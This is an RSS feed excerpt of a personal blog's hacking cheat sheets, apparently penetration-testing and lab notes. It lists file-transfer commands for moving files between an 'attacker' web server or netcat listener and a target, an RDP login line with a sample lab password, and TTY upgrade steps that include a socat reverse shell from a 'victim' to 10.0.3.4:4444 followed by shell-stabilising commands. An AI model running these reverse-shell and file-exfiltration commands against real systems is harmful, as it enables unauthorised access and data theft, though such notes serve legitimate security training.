https://garrettoh.dev/notes/500-hacking/06_cheatsheets_and_payloads/ Recent content in Random Cheatsheets on Garrettoh's Research / Blog Hugo en-us https://garrettoh.dev/notes/500-hacking/06_cheatsheets_and_payloads/file_transfers/ Mon, 01 Jan 0001 00:00:00 +0000 https://garrettoh.dev/notes/500-hacking/06_cheatsheets_and_payloads/file_transfers/ <table> <thead> <tr> <th><strong>Action</strong></th> <th><strong>Command</strong></th> </tr> </thead> <tbody> <tr> <td><strong>Host (Attacker)</strong></td> <td><code>python3 -m http.server 80</code></td> </tr> <tr> <td><strong>Fetch (Target)</strong></td> <td><code>wget http://[IP]/file</code> or <code>curl [IP]/file -o file</code></td> </tr> <tr> <td><strong>NC Push</strong></td> <td><code>nc -lvnp 4444 &gt; file</code> (Receiver) / <code>nc [IP] 4444 &lt; file</code> (Sender)</td> </tr> </tbody> </table> https://garrettoh.dev/notes/500-hacking/06_cheatsheets_and_payloads/hashcat-and-john/ Mon, 01 Jan 0001 00:00:00 +0000 https://garrettoh.dev/notes/500-hacking/06_cheatsheets_and_payloads/hashcat-and-john/ https://garrettoh.dev/notes/500-hacking/06_cheatsheets_and_payloads/random-commands/ Mon, 01 Jan 0001 00:00:00 +0000 https://garrettoh.dev/notes/500-hacking/06_cheatsheets_and_payloads/random-commands/ <p>XfreeRDP <code>xfreerdp3 /u:thm-unpriv /p:Password321 /v:$target</code></p> https://garrettoh.dev/notes/500-hacking/06_cheatsheets_and_payloads/tty_upgrades/ Mon, 01 Jan 0001 00:00:00 +0000 https://garrettoh.dev/notes/500-hacking/06_cheatsheets_and_payloads/tty_upgrades/ <p>Tags : #Cheatsheet #Shell</p> <p><strong>Using Python</strong></p> <div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">python3 -c <span class="s1">&#39;import pty; pty.spawn(&#34;/bin/bash&#34;)&#39;</span> </span></span></code></pre></div><p><strong>Using socat</strong></p> <div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl"><span class="c1">#Listener:</span> </span></span><span class="line"><span class="cl">socat file:<span class="sb">`</span>tty<span class="sb">`</span>,raw,echo<span class="o">=</span><span class="m">0</span> tcp-listen:4444 </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl"><span class="c1">#Victim:</span> </span></span><span class="line"><span class="cl">socat exec:<span class="s1">&#39;bash -li&#39;</span>,pty,stderr,setsid,sigint,sane tcp:10.0.3.4:4444 </span></span></code></pre></div><p><strong>Using stty options</strong></p> <div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl"><span class="c1"># In reverse shell</span> </span></span><span class="line"><span class="cl">$ python -c <span class="s1">&#39;import pty; pty.spawn(&#34;/bin/bash&#34;)&#39;</span> </span></span><span class="line"><span class="cl">Ctrl-Z </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl"><span class="c1"># In Kali</span> </span></span><span class="line"><span class="cl">$ stty raw -echo </span></span><span class="line"><span class="cl">$ <span class="nb">fg</span> </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl"><span class="c1"># In reverse shell</span> </span></span><span class="line"><span class="cl">$ reset </span></span><span class="line"><span class="cl">$ <span class="nb">export</span> <span class="nv">SHELL</span><span class="o">=</span>bash </span></span><span class="line"><span class="cl">$ <span class="nb">export</span> <span class="nv">TERM</span><span class="o">=</span>xterm-256color </span></span><span class="line"><span class="cl">$ stty rows &lt;num&gt; columns &lt;cols&gt; </span></span></code></pre></div>